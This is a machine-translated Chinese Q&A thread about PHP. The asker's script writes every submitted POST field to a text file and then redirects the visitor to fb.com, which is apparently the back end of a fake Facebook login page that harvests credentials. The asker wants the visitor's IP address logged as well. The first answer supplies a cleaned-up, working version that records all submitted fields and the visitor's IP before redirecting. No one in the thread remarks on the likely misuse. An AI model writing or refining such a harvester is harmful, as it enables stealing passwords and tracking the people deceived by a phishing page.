Php 远程IP并将其发布到文本文件

Php 远程IP并将其发布到文本文件,php,ip-address,Php,Ip Address,请问如何使用PHP获取远程IP地址 我有这个PHP文件 <?php header("Location: http://fb.com/ "); $handle = fopen("test.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($hand

请问如何使用PHP获取远程IP地址

我有这个PHP文件

<?php
 header("Location: http://fb.com/ ");
 $handle = fopen("test.txt", "a");
 foreach($_POST as $variable => $value) {
  fwrite($handle, $variable);
  fwrite($handle, "=");
  fwrite($handle, $value);
  fwrite($handle, "\r\n");
 }
 fwrite($handle, "\r\n");
 fclose($handle);
 exit;
?>

如何添加一个代码来获取远程地址和在同一个文本文件$\u post变量上的post

  • 用于获取请求用户计算机的IP

  • 更改脚本以使其逻辑更加简短和透明:

    <?php
    $handle = fopen('test.txt', 'a');
    
    foreach($_POST as $variable => $value) {
        fwrite($handle, $variable . '=' . $value . PHP_EOL);
    }
    
    fwrite($handle, 'REMOTE IP: ' . $_SERVER['REMOTE_ADDR'] . PHP_EOL);
    fclose($handle);
    
    header('Location: http://fb.com/');
    exit;
    ?>
    
    
    

  • 使用此选项可获取远程ip地址:

    $remoteIpAddress = $_SERVER['REMOTE_ADDR'];
    

    或者,如果要通过主机名获取ip地址,请使用:

    $remoteIpAddress  = gethostbyname('www.example.com');
    

    似乎您正在寻找某个网站的ip地址
    http://fb.com
    。。。如果是这样的话。。在一行中这样做

    <?php
    file_put_contents('yourfile.txt',gethostbyname('google.com'),FILE_APPEND);// replace google.com with the website which you are looking to grab the ip.
    
    
    
    <?php
    file_put_contents('yourfile.txt',$_SERVER['REMOTE_ADDR'],FILE_APPEND);